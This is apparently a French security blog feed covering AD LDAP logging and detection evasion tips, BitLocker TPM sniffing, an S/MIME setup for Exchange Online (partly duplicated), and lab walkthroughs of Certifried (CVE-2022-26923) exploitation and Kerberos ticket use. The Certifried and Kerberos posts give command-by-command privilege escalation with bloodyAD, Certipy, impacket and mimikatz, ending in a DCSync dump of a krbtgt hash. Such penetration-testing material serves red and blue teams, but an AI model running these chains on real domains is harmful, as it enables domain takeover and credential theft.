Articles |

Effectuer des requêtes LDAP AD comme un ninja

Tue, 24 Dec 2024 00:00:00 +0000

Il y a quelque temps, un gars de la blueteam m’a contacté, embêté car il pouvait détecter les requêtes LDAP de SharpHound mais ne trouvait aucune trace des requêtes LDAP effectuées avec (un outil d’audit AD que je développe) dans son SIEM. J’étais perplexe et voulais enquêter davantage, mais j’ai oublié jusqu’à récemment 😅. En développant de nouvelles fonctionnalités pour mon outil, j’ai réalisé que je ne voyais aucune requête LDAP dans les journaux du contrôleur de domaine (DC) pour m’aider à déboguer.

Journalisation LDAP dans Active Directory

De ce que je sais, il existe 3 (faites-moi savoir si j’en ai oublié une) :

Journalisation côté client : Microsoft-Windows-LDAP-Client - Event ID 30
Celle-ci enregistre des détails tels que le processus responsable de la recherche LDAP, l’entrée recherchée, le filtre et la portée de recherche lorsque LDAP est accédé via l’API client LDAP via wldap32.dll.
Sniffing réseau : Capture du trafic LDAP.
Journalisation côté DC : Microsoft-Windows-ActiveDirectory_DomainService - Event ID 1644
Celle-ci enregistre les requêtes LDAP coûteuses, inefficaces ou lentes effectuées sur les contrôleurs de domaine par les machines clientes.

Contournement de la journalisation LDAP

Journalisation côté client : Facilement contourné en n’étant pas sur une machine surveillée ou en utilisant un outil qui n’appelle pas wldap32.dll pour effectuer des requêtes LDAP (par exemple, des outils Python comme ou ).\
Sniffing réseau : Contourné en utilisant le chiffrement des sessions LDAP, qui est la configuration par défaut pour et tout outil utilisant les bibliothèques Windows (LDAPS n’est pas requis pour le chiffrement).
Journalisation côté DC : Si configuré strictement, la journalisation ne peut pas être contournée. Cependant, une configuration stricte est plus complexe qu’il n’y paraît, ce qui explique pourquoi a contourné les capacités de détection de la blueteam.

Regard approfondi sur la journalisation LDAP côté DC

Par défaut, côté DC. Pour activer la journalisation, définissez la clé de registre suivante sur 5 :

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering

Cependant, seules certaines requêtes seront enregistrées de cette manière. Cette journalisation est conçue pour détecter les requêtes LDAP coûteuses et inefficaces, pas les potentielles attaques. Les seuils par défaut pour considérer une requête comme coûteuse ou inefficace sont les suivants :

(par défaut 10000) : Une requête LDAP est considérée comme coûteuse si elle visite plus de 10 000 entrées.
(par défaut 1000) : Une requête LDAP est considérée comme inefficace si la recherche visite plus de 1 000 entrées et que les entrées retournées sont inférieures à 10 % des entrées visitées.
Seuil de temps de recherche (par défaut 30s) : Une requête LDAP est considérée comme coûteuse/inefficace si elle prend plus de 30 secondes.

Ces peuvent être modifiés en créant les clés de registre suivantes et en définissant des valeurs inférieures :

Chemin du registre	Type de données	Valeur par défaut
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Search Time Threshold (msecs)`	DWORD	30,000
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Expensive Search Results Threshold`	DWORD	10,000
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Inefficient Search Results Threshold`	DWORD	1,000

La méthode intuitive serait de tout mettre à 0 pour pouvoir voir chaque requête LDAP, mais en réalité, d’après mes tests, si vous faites ça, Windows ignorera ces valeurs et utilisera les valeurs par défaut à la place. C’est la partie délicate qui explique pourquoi certains outils de détection de menaces peuvent être aveugles à certaines requêtes LDAP.

La bonne chose à faire pour activer une journalisation maximale est de ne créer que la clé de registre Expensive search results threshold et de la définir sur 1. Avec ces paramètres, même ne peut pas contourner la détection LDAP !

Note

On peut aussi créer une policy d’audit par objet mais j’en parlerai prochainement dans un nouvel article.

Conclusion

Configurer correctement les journaux LDAP pour détecter les menaces est plus complexe qu’il n’y paraît. Les membres de la blueteam doivent être prudents lors de la configuration. Pour les membres de la redteam, voici quelques conseils pour réduire les chances de détection de vos requêtes LDAP, en particulier pour celles signalées comme la recherche d’ :

Évitez d’utiliser wldap32.dll sur des machines surveillées
Utilisez un outil prenant en charge le chiffrement LDAP
Réduisez la base de votre requête LDAP pour rester en dessous des seuils (par exemple, effectuez la recherche d’utilisateurs AS-REP roastables sur CN=Users,Dc=bloody,DC=corp au lieu de DC=bloody,DC=corp)

C’est tout pour cet article, j’espère que cela vous donnera une meilleure compréhension des détections de requêtes LDAP dans les environnements AD.

BitLocker activé. Êtes-vous vraiment protégé ?

Tue, 26 Nov 2024 00:00:00 +0000

C’est vendredi soir, et vous venez de terminer votre journée de travail. Vous décidez de vous détendre avec un verre au bar d’en bas avant de rentrer chez vous. Tout se passe bien et vous détournez les yeux de votre ordinateur portable pour profiter de votre soirée, mais lorsque vous la regardez à nouveau, elle a disparu. Malheureusement, il contenait des données sensibles. Cependant, il y a encore de l’espoir, car vous avez chiffré votre disque dur avec BitLocker ! Mais BitLocker vous protège-t-il vraiment ? Regardons cela de plus près.

Qu’est-ce que BitLocker ?

BitLocker est une fonctionnalité de Windows disponible depuis Windows Vista qui vous permet de chiffrer votre stockage disque pour éviter les risques de vol ou d’exposition des données en cas de perte ou de changement de périphérique.

Il est simple à configurer et transparent pour l’utilisateur s’il est configuré sans facteur d’authentification. Si vous ne savez pas s’il est activé ou non sur votre ordinateur, vous pouvez vérifier dans le panneau de configuration :

Comment fonctionne BitLocker ?

BitLocker chiffre et déchiffre le disque à l’aide d’une clé secrète appelée Volume Master Key (VMK). La question est : où stocker cette VMK pour qu’elle ne puisse pas être facilement récupérée ?
Si elle est stockée sur le disque, il suffirait de brancher le disque sur un autre ordinateur et de récupérer la VMK pour déchiffrer l’intégralité du disque. Au lieu de cela, si vous en avez un (ce qui est le cas pour la plupart des ordinateurs actuels), la clé sera stockée dans un composant sécurisé appelé Trusted Platform Module (TPM).

Qu’est-ce qu’un TPM ?

Le Trusted Platform Module (TPM) est un microcontrôleur conçu pour gérer les clés cryptographiques. Il a commencé à apparaître dans les ordinateurs vers 2005. En fait, il y avait besoin d’un composant dans les ordinateurs capable de garder des secrets et qui ne pouvait pas être corrompu, peu importe entre quelles mains il se trouvait.
Les mêmes exigences s’appliquent aux cartes bancaires, où la banque veut s’assurer que les secrets à l’intérieur de la carte ne peuvent pas être extraits.
Lorsqu’une clé est demandée au TPM, celui-ci vérifiera que vous êtes l’utilisateur légitime en utilisant différentes méthodes. Pour BitLocker, si le démarrage sécurisé est activé, il vérifiera que le firmware et le logiciel de l’ordinateur n’ont subi aucune modification malveillante.

Protéger ou ne pas protéger ?

D’accord, après avoir dit tout cela, nous savons maintenant que la VMK est stockée en toute sécurité dans le TPM et ne peut être récupérée que par un BitLocker légitime. Que pourrait-il mal se passer ?
En réalité, un acteur malveillant pourrait effectuer ce que l’on appelle le TPM sniffing, qui consiste à écouter les communications entre BitLocker et le TPM lorsque BitLocker veut déchiffrer le disque.

Mais vous devez savoir qu’il existe deux principaux types de TPM :

TPM firmware : Ce type de TPM fonctionne à l’intérieur du CPU.
TPM discret : Ce type de TPM est une puce sur la carte mère.

Comme vous l’avez peut-être déjà deviné, écouter un TPM firmware est une mission impossible, mais pour un TPM discret, quelques tutoriels en ligne, de la motivation et des équipements coûtant environ 500 à 1500 $ peuvent faire des merveilles ! Il vous suffira d’identifier la puce TPM sur votre carte mère et de souder vos sondes sur les broches du TPM, et c’est parti !

Pour déterminer le type de TPM que vous avez, il n’y a pas de méthode directe. Vous pouvez essayer de l’identifier en utilisant tpm.msc sur Windows et rechercher un TPM correspondant au fabricant et à la version :

Si cela ne fonctionne pas, vous devrez peut-être vérifier les spécifications de votre ordinateur portable.

Maintenant, même si vous avez un TPM discret, il y a encore de l’espoir. En effet, BitLocker vous permet d’ajouter un facteur d’authentification tel qu’un PIN ou une clé de démarrage. Dans ce cas, la VMK ne peut être demandée au TPM que si vous fournissez le facteur correct. Sans cela, le TPM ne vous donnera rien !
Le brute-forcing du facteur n’est pas une option viable car cela nécessiterait d’envoyer des requêtes au TPM, ce qui nécessiterait de falsifier le firmware ou le logiciel. Comme je l’ai dit plus tôt, toute modification de ces composants empêchera le TPM de répondre.
Ainsi, la seule façon serait de tromper l’utilisateur pour qu’il entre son PIN pendant que des sondes sont en place pour écouter, ce qui est très peu probable.
Un excellent article de l’équipe offensive suisse d’Orange Cyberdefense l’explique très bien.

Récapitulatif

Comme vous pouvez le voir, BitLocker n’est pas parfait mais fournit déjà une couche de sécurité supplémentaire contre le vol de données, en particulier si vous possédez un TPM firmware. En outre, un PIN ou une clé de démarrage peut être ajouté pour plus de robustesse.
Ce diagramme de flux fournit un aperçu rapide de la sécurité de BitLocker :

Implémenter S/MIME avec Exchange Online et OWA

Thu, 14 Nov 2024 00:00:00 +0000

Aaah l’email, inventé à la fin du 20ème siècle et toujours la pierre angulaire de la communication d’aujourd’hui. Cependant, les besoins en sécurité augmentent et nous avons dû trouver de nouvelles façons de garantir la sécurité de nos communications email. Pourquoi ? Parce que pour échanger des emails, les serveurs email utilisent SMTP, un protocole non chiffré, donc on peut oublier la garantie de confidentialité et d’authenticité. Il est vrai que nous pouvons l’encapsuler dans TLS en utilisant SMTPS ou STARTTLS mais si vous utilisez Exchange Online et que le serveur de messagerie du destinataire ne prend pas en charge TLS, alors la communication sera simplement en SMTP non chiffré.

C’est là que des standards comme S/MIME (Secure/Multipurpose Internet Mail Extensions) viennent à notre secours !
En utilisant ce standard, vous pouvez signer votre email avec votre clé privée avant de l’envoyer au destinataire qui peut le vérifier avec votre clé publique (clé publique que vous échangez avec le destinataire par un autre moyen sécurisé). Vous pouvez également chiffrer un email avec la clé publique du destinataire pour garantir que seul ce destinataire peut l’ouvrir.

Et là vous allez me dire que toute cette petite histoire est très intéressante mais comment fait-on pour l’implémenter ? Vous pourriez implémenter S/MIME sur chacun de vos clients email s’ils le prennent en charge comme Outlook classic, mais alors vous devez ajouter la clé publique de vos contacts sur chaque client email, ce qui peut être un peu fastidieux mais fonctionne ! Il est également bon de noter que le Nouvel Outlook ne prend pas encore en charge S/MIME mais devrait le prendre en charge durant ce mois de novembre 2024.
Cependant, si vous avez Exchange Online, vous pourriez configurer les clés publiques de tous les contacts une seule fois pour tout le monde sur votre serveur ! Mais ce n’est pas magique, chaque utilisateur devra toujours installer sa propre clé privée localement sur son appareil.

Dans cet article, nous verrons comment l’implémenter sur Exchange Online avec Outlook sur le Web (OWA).

Installer la clé privée sur votre machine locale

Installer le contrôle S/MIME pour OWA

Tout d’abord, vous devrez installer le contrôle S/MIME sur votre navigateur (à ce jour, il n’est disponible que sur Edge et Chrome) afin qu’OWA puisse appeler l’API Windows de votre machine locale pour chiffrer/signer les emails en utilisant la clé privée installée dessus.

Ouvrez outlook.office.com et allez dans les paramètres en cliquant sur l’engrenage en haut à droite
Cliquez sur Mail > SMIME et sur le lien cliquez ici pour installer l’extension du navigateur
Une fois l’extension du navigateur installée, retournez à la page des paramètres et cliquez sur le lien cliquez ici pour télécharger et installer l’extension de contrôle SmimeOutlookWebChrome.msi.
Une fois cela fait, vous pouvez redémarrer votre navigateur et vous assurer que ces cases ne sont plus grisées.

Installer votre certificat S/MIME

Si vous n’avez pas encore de certificat, vous devrez en demander un. Vous pouvez en demander un à une CA publique (Autorité de Certification) mais à part Actalis, je ne connais pas d’autres CA publiques gratuites pour les certificats S/MIME. Vous pouvez également en demander un à votre propre CA privée (par exemple en utilisant openssl) mais vous devrez alors importer le certificat public de la CA privée dans crtmngr.

Vous devrez ensuite installer votre certificat sur la machine de votre navigateur :

Double-cliquez sur votre certificat .p12, suivez l’assistant et fournissez le mot de passe du certificat :
Une fois installé, ouvrez l’utilitaire Gérer les certificats utilisateur depuis la barre de recherche Windows :
Allez dans le dossier où votre certificat est installé. Cela devrait être Personnel > Certificats :
Faites un clic droit sur votre certificat et sélectionnez Toutes les tâches > Exporter :
Suivez l’assistant pour enregistrer votre certificat au format .der, vous en aurez besoin pour télécharger la clé publique sur Exchange Online plus tard.

Télécharger la chaîne de confiance sur Exchange Online

Contrairement à Windows, Exchange Online n’a pas d’autorités de certification préinstallées. Vous devrez y ajouter toutes les autorités de certification qui peuvent vérifier vos certificats d’utilisateur final et de contacts.

Ouvrez usercrtmngr à nouveau et double-cliquez sur le certificat de l’utilisateur final
Dans l’onglet Chemin de certification, vous verrez tous les certificats vérifiant le certificat de l’utilisateur final, c’est ce qu’on appelle la chaîne de confiance
Assurez-vous que tous ces certificats sont dans le même dossier ou copiez ceux qui sont en dehors dans le dossier actuel pour pouvoir les concaténer plus tard
Répétez les étapes ci-dessus pour tous vos utilisateurs finaux et contacts
Utilisez ctrl+clic gauche pour sélectionner chaque certificat de la chaîne de confiance (s’il n’y a qu’un seul certificat dans la chaîne de confiance, incluez un autre certificat avec pour pouvoir exporter la liste au format .sst)
Faites un clic droit sur l’un des certificats sélectionnés et sélectionnez Toutes les tâches > Exporter, suivez l’assistant et sélectionnez le format .sst
En utilisant Powershell 7 (en dessous de 7, vous aurez l’erreur unable to find type [uint]) :

Install-Module ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName <exchangeadmin_for_yourdomain>
Set-SmimeConfig -SMIMECertificateIssuingCA ([System.IO.File]::ReadAllBytes('C:\Users\Gold\Downloads\chainOfTrust.sst'))

Attendez un peu de temps pour que la modification soit propagée

Super ! Nous avons maintenant tout ce qu’il faut pour signer et déchiffrer nos emails dans OWA, qu’en est-il du chiffrement ou de la vérification de la signature des emails ?

Installer la clé publique sur Exchange Online

Cette partie n’est pas bien documentée, en particulier le cas d’utilisation pour ajouter un contact en dehors de notre Exchange Online où je n’ai trouvé aucune documentation à ce sujet, mais cela fonctionne ! Alors commençons.

Rassemblez les clés publiques de vos contacts au format DERv3 (comme mentionné à l’étape 5 de Installer votre certificat S/MIME)
Utilisez le code powershell suivant pour concaténer chaque DERv3 en .sst :

$certArray = New-Object System.Collections.ArrayList
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("D:\Gold\Documents\VM-apps\baptiste@cravaterouge.com.cer") <- DERv3 format
$certArray.Insert(0, $cert.GetRawCertData())

Si le contact appartient au même Exchange Online, utilisez la commande powershell suivante :

Set-Mailbox -Identity baptiste -UserCertificate $certArray

Si le contact est externe à cet Exchange Online, utilisez la commande suivante :

# Utilisez cette commande si le contact n'est pas déjà créé
New-MailContact -Name CravateRouge_SMIME -ExternalEmailAddress baptiste@cravaterouge.com
Set-MailContact -Identity CravateRouge_SMIME -UserCertificate $certArray

Assurez-vous que le certificat a été correctement mis à jour en vérifiant que Get-Mailbox/Get-MailContact -Identity CravateRouge | select UserCertificate renvoie le même binaire que $cert.GetRawCertData()
Pour envoyer un email à ces contacts, vous devez les sélectionner dans les contacts GAL avec le nom d’identité exact que vous avez donné dans la commande powershell ci-dessus. Par exemple, pour envoyer un email à Baptiste, je dois utiliser le contact nommé CravateRouge_SMIME et non en tapant directement baptiste@cravaterouge.com ou en utilisant une autre carte de contact même si elle contient la même adresse email.

Résultat

Vous pouvez maintenant signer chacun de vos emails pour prouver aux destinataires que vous êtes l’expéditeur original et déchiffrer les emails qui vous sont envoyés
Et vous pouvez également chiffrer/vérifier les emails des contacts que vous avez ajoutés à Exchange Online

Note

Même si tout fonctionne bien, vous pouvez toujours avoir un message d’erreur lors de l’envoi de messages chiffrés à des clients externes. Ne vous inquiétez pas, c’est juste un bug de Microsoft car cette fonctionnalité n’est pas encore bien prise en charge.

Implémenter S/MIME avec Exchange Online et OWA

Thu, 14 Nov 2024 00:00:00 +0000

Dans cet article, nous verrons comment l’implémenter sur Exchange Online avec Outlook sur le Web (OWA).

Installer la clé privée sur votre machine locale

Installer le contrôle S/MIME pour OWA

Ouvrez outlook.office.com et allez dans les paramètres en cliquant sur l’engrenage en haut à droite
Cliquez sur Mail > SMIME et sur le lien cliquez ici pour installer l’extension du navigateur
Une fois l’extension du navigateur installée, retournez à la page des paramètres et cliquez sur le lien cliquez ici pour télécharger et installer l’extension de contrôle SmimeOutlookWebChrome.msi.
Une fois cela fait, vous pouvez redémarrer votre navigateur et vous assurer que ces cases ne sont plus grisées.

Installer votre certificat S/MIME

Vous devrez ensuite installer votre certificat sur la machine de votre navigateur :

Double-cliquez sur votre certificat .p12, suivez l’assistant et fournissez le mot de passe du certificat :
Une fois installé, ouvrez l’utilitaire Gérer les certificats utilisateur depuis la barre de recherche Windows :
Allez dans le dossier où votre certificat est installé. Cela devrait être Personnel > Certificats :
Faites un clic droit sur votre certificat et sélectionnez Toutes les tâches > Exporter :
Suivez l’assistant pour enregistrer votre certificat au format .der, vous en aurez besoin pour télécharger la clé publique sur Exchange Online plus tard.

Télécharger la chaîne de confiance sur Exchange Online

Ouvrez usercrtmngr à nouveau et double-cliquez sur le certificat de l’utilisateur final
Dans l’onglet Chemin de certification, vous verrez tous les certificats vérifiant le certificat de l’utilisateur final, c’est ce qu’on appelle la chaîne de confiance
Assurez-vous que tous ces certificats sont dans le même dossier ou copiez ceux qui sont en dehors dans le dossier actuel pour pouvoir les concaténer plus tard
Répétez les étapes ci-dessus pour tous vos utilisateurs finaux et contacts
Utilisez ctrl+clic gauche pour sélectionner chaque certificat de la chaîne de confiance (s’il n’y a qu’un seul certificat dans la chaîne de confiance, incluez un autre certificat avec pour pouvoir exporter la liste au format .sst)
Faites un clic droit sur l’un des certificats sélectionnés et sélectionnez Toutes les tâches > Exporter, suivez l’assistant et sélectionnez le format .sst
En utilisant Powershell 7 (en dessous de 7, vous aurez l’erreur unable to find type [uint]) :

Install-Module ExchangeOnlineManagement
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName <exchangeadmin_for_yourdomain>
Set-SmimeConfig -SMIMECertificateIssuingCA ([System.IO.File]::ReadAllBytes('C:\Users\Gold\Downloads\chainOfTrust.sst'))

Attendez un peu de temps pour que la modification soit propagée

Super ! Nous avons maintenant tout ce qu’il faut pour signer et déchiffrer nos emails dans OWA, qu’en est-il du chiffrement ou de la vérification de la signature des emails ?

Installer la clé publique sur Exchange Online

Rassemblez les clés publiques de vos contacts au format DERv3 (comme mentionné à l’étape 5 de Installer votre certificat S/MIME)
Utilisez le code powershell suivant pour concaténer chaque DERv3 en .sst :

$certArray = New-Object System.Collections.ArrayList
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("D:\Gold\Documents\VM-apps\baptiste@cravaterouge.com.cer") <- DERv3 format
$certArray.Insert(0, $cert.GetRawCertData())

Si le contact appartient au même Exchange Online, utilisez la commande powershell suivante :

Set-Mailbox -Identity baptiste -UserCertificate $certArray

Si le contact est externe à cet Exchange Online, utilisez la commande suivante :

# Utilisez cette commande si le contact n'est pas déjà créé
New-MailContact -Name CravateRouge_SMIME -ExternalEmailAddress baptiste@cravaterouge.com
Set-MailContact -Identity CravateRouge_SMIME -UserCertificate $certArray

Assurez-vous que le certificat a été correctement mis à jour en vérifiant que Get-Mailbox/Get-MailContact -Identity CravateRouge | select UserCertificate renvoie le même binaire que $cert.GetRawCertData()
Pour envoyer un email à ces contacts, vous devez les sélectionner dans les contacts GAL avec le nom d’identité exact que vous avez donné dans la commande powershell ci-dessus. Par exemple, pour envoyer un email à Baptiste, je dois utiliser le contact nommé CravateRouge_SMIME et non en tapant directement baptiste@cravaterouge.com ou en utilisant une autre carte de contact même si elle contient la même adresse email.

Résultat

Vous pouvez maintenant signer chacun de vos emails pour prouver aux destinataires que vous êtes l’expéditeur original et déchiffrer les emails qui vous sont envoyés
Et vous pouvez également chiffrer/vérifier les emails des contacts que vous avez ajoutés à Exchange Online

Note

Exploitation de Certifried (CVE-2022-26923)

Sat, 11 May 2024 00:00:00 +0000

Une nouvelle élévation de privilège est sortie: Certifried (CVE-2022-26923) avec ce billet de blog après que Microsoft l’ait patché. Voici un exemple de comment exploiter cette vulnérabilité avec bloodyAD sans utiliser PKINIT.

Linux

On a besoin d’une machine, soit on en compromet une ou alors on en crée une si ms-DS-MachineAccountQuota>0:

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 get object 'DC=crashlab,DC=local' --attr ms-DS-MachineAccountQuota

distinguishedName: DC=crashlab,DC=local
ms-DS-MachineAccountQuota: 10

On crée un objet machine cve dans le LDAP:

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 addComputer cve 'CVEPassword1234*'

[+] cve created

Ensuite on change l’attribut dNSHostName (vide quand on crée l’objet) pour qu’il corresponde au nom de machine du contrôleur de domaine: CRASHDC.crashlab.local.

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 set object 'CN=cve,CN=Computers,DC=crashlab,DC=local' dNSHostName -v CRASHDC.crashlab.local

[+] CN=cve,CN=Computers,DC=crashlab,DC=local's dnsHostName has been updated

On vérifie que l’attribue a été configuré correctement:

> python bloodyAD.py -d crashlab.local -u testuser -p 'totoTOTOtoto1234*' --host 10.100.10.12 get object 'CN=cve,CN=Computers,DC=crashlab,DC=local' --attr dNSHostName

distinguishedName: CN=cve,CN=Computers,DC=crashlab,DC=local
dNSHostName: CRASHDC.crashlab.local

Et maintenant on utilise Certipy pour demander le certificat pour la machine cve:

# 10.100.10.13 is the ADCS server
> certipy req 'crashlab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.100.10.12 -ca crashlab-ADCS-CA
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 12
[*] Got certificate with DNS Host Name 'CRASHDC.crashlab.local'
[*] Saved certificate and private key to 'crashdc.pfx'

Maintenant on va essayer de récupérer un TGT en utilisant Certipy avec le certificat demandé précédemment:

> certipy auth -pfx ./crashdc.pfx -dc-ip 10.100.10.12
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: crashdc$@crashlab.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

PKINIT ne fonctionne pas sur cet AD, essayons la technique RBCD avec bloodyAD et sa fonctionnalité d’authentification par certificat:

> openssl pkcs12 -in crashdc.pfx -out crashdc.pem -nodes
> python bloodyAD.py -d crashlab.local -c ":crashdc.pem" -u 'cve$' --host 10.100.10.12 add rbcd 'CRASHDC$' 'CVE$'
[+] CVE$ SID is: S-1-5-21-1945936656-2616711065-1665664270-1134
[+] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity correctly set 
[+] Delegation rights modified successfully!
CVE$ can now impersonate users on CRASHDC$ via S4U2Proxy

Les droits de délégation sont en place, maintenant on peut utiliser impacket getST.py pour usurper l’administrateur de domaine (emacron dans notre cas) sur CRASHDC$ et on récupère un TGT:

> getST.py -spn LDAP/CRASHDC.CRASHLAB.LOCAL -impersonate emacron -dc-ip 10.100.10.12 'crashlab.local/cve$:CVEPassword1234*'
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating emacron
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in emacron.ccache

> cp emacron.ccache /tmp/
> export KRB5CCNAME=/tmp/emacron.ccache

Pour finir on utilise impacket secretsdump.py pour réaliser un DCSync avec le TGT récupéré:


> secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'crashlab.local/emacron@crashdc.crashlab.local' -k -no-pass -dc-ip 10.100.10.12 -target-ip 10.100.10.12
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:492850f62466ef2bd1f4a56f112e01f1::: (status=Disabled)
[*] Cleaning up...

Jouer avec Kerberos

Tue, 05 Mar 2024 00:00:00 +0000

⚠️ Depuis le commit 54babd7 l’échange d’informations sensibles sans LDAPS est supportée.

La plupart du temps, j’utilise l’authentification NTML mais parfois, on doit se débrouiller avec un TGT ou ST kerberos et ça serait dommage de ne pas les utiliser pour essayer d’élever ses privilèges dans l’AD. Alors voyons comment faire ça avec bloodyAD.

Linux

# Get a TGT (For GSSAPI the server name must be the FQDN)
$ getTGT.py -dc-ip 192.168.10.2 bloody.local/Administrator:p@ssw0rd
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

2022-05-05 10:11:19.028227
[*] Saving ticket in Administrator.ccache

# Get a ST (For GSSAPI the spn is case sensitive)
$ getST.py -no-pass -k -dc-ip 192.168.10.2 -spn ldap/win-ij5b521uo5l.bloody.local "BLOODY.LOCAL/Administrator"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

# Use bloodyAD with Kerberos auth (using a TGT or a ST)
## Add the credential cache generated in the default path
$ export KRB5CCNAME="Administrator.ccache"

## Check if the ticket is in default path, not expired, for the right client/server
$ klist
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@BLOODY.LOCAL

Valid starting Expires Service principal
05/05/2022 19:42:54 06/05/2022 05:42:54 krbtgt/BLOODY.LOCAL@BLOODY.LOCAL
 renew until 06/05/2022 19:42:55

## If your DNS doesn't resolve
## Note: second level domain name with ".local" added to /etc/hosts doesn't resolve on some Manjaro versions
# see https://forum.manjaro.org/t/mapping-for-etc-hosts-entries-with-local-as-tld-isnt-working/116021
$ sudo echo "192.168.10.2 win-ij5b521uo5l.bloody.local bloody.local" >> /etc/hosts

## And now the magic happens
$ python bloodyAD.py -k -d bloody.local -u Administrator --host WIN-IJ5B521UO5L.bloody.local get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version

distinguishedName: DC=bloody,DC=local
msDS-Behavior-Version: DS_BEHAVIOR_WIN2016

Windows

Le code ci-dessous montre comment générer un TGT ou ST et comment ils sont utilisés avec bloodyAD dans un environnement Windows. Bien sûr dans la majorité des cas on a déjà des tickets disponibles. Dans ce cas allez directement à la partie bloodyAD.

# Get a TGT
(venv) PS > python .\venv\Scripts\getTGT.py -dc-ip 192.168.10.2 bloody/Administrator:p@ssw0rd
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Administrator.ccache

# Get a ST from the TGT
(venv) PS > ren Administrator.ccache adminTGT.ccache
(venv) PS > $env:krb5ccname="adminTGT.ccache"
(venv) PS > python .\venv\Scripts\getST.py -no-pass -k -dc-ip 192.168.10.2 -spn ldap/WIN-IJ5B521UO5L.bloody.local "BLOODY/Administrator"
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Getting ST for user
[*] Saving ticket in Administrator.ccache

# Use bloodyAD with Kerberos auth (using a TGT or a ST)
## First convert ccache in kirbi if necessary
(venv) PS > python .\venv\Scripts\ticketConverter.py Administrator.ccache Administrator.kirbi
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

## Inject the ticket in memory if needed
(venv) PS > .\mimikatz.exe "kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi"

 .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ## > https://blog.gentilkiwi.com/mimikatz
 '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
 '#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi

* File: 'd:\gold\documents\bloodyAD\Administrator.kirbi': OK

## Check if the ticket is in memory, not expired, for the right client/server
(venv) PS > klist

Current LogonId is 0:0x75af1

Cached Tickets: (1)

#0> Client: Administrator @ BLOODY.LOCAL
 Server: ldap/WIN-IJ5B521UO5L.bloody.local @ BLOODY.LOCAL
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x804a0000 -> reserved initial 0xa0000
 Start Time: 5/4/2022 18:56:50 (local)
 End Time: 5/5/2022 4:54:52 (local)
 Renew Time: 0
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0
 Kdc Called:

## Install winkerberos > 0.9.0
(venv) PS > pip install --upgrade --force-reinstall winkerberos

## And now the magic happens
## (Don't forget to add an entry in C:\Windows\System32\drivers\etc\hosts for WIN-IJ5B521UO5L.bloody.local if needed)
(venv) PS > python bloodyAD.py -k -d bloody.local -u Administrator --host WIN-IJ5B521UO5L.bloody.local get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version

distinguishedName: DC=bloody,DC=local
msDS-Behavior-Version: DS_BEHAVIOR_WIN2016

L'authentication par certificat dépoussiérée

Thu, 09 Nov 2023 00:00:00 +0000

Il y a quelques jours, j’ai lu un excellent article de Yannick Méheut d’Almond sur l’authentification par certificat dans un environnement Active Directory. C’est particulièrement utile lorsque PKINIT n’est pas supporté et que vous ne pouvez donc pas utiliser votre certificat pour demander un TGT. C’est pourquoi j’ai voulu étendre les capacités de bloodyAD en permettant l’authentification par certificat. Voici un exemple d’utilisation (la première partie montre comment obtenir un certificat si vous voulez juste essayer la fonctionnalité):

# Grab the cert
## Get the CA Authority name
$ certipy find -u Administrator@bloody -p 'Password123!' -dc-ip 192.168.10.2 -debug
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://192.168.10.2:636 - ssl
[+] Default path: DC=bloody,DC=local
[+] Configuration path: CN=Configuration,DC=bloody,DC=local
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[+] Trying to resolve 'DC01.bloody.local' at '192.168.10.2'
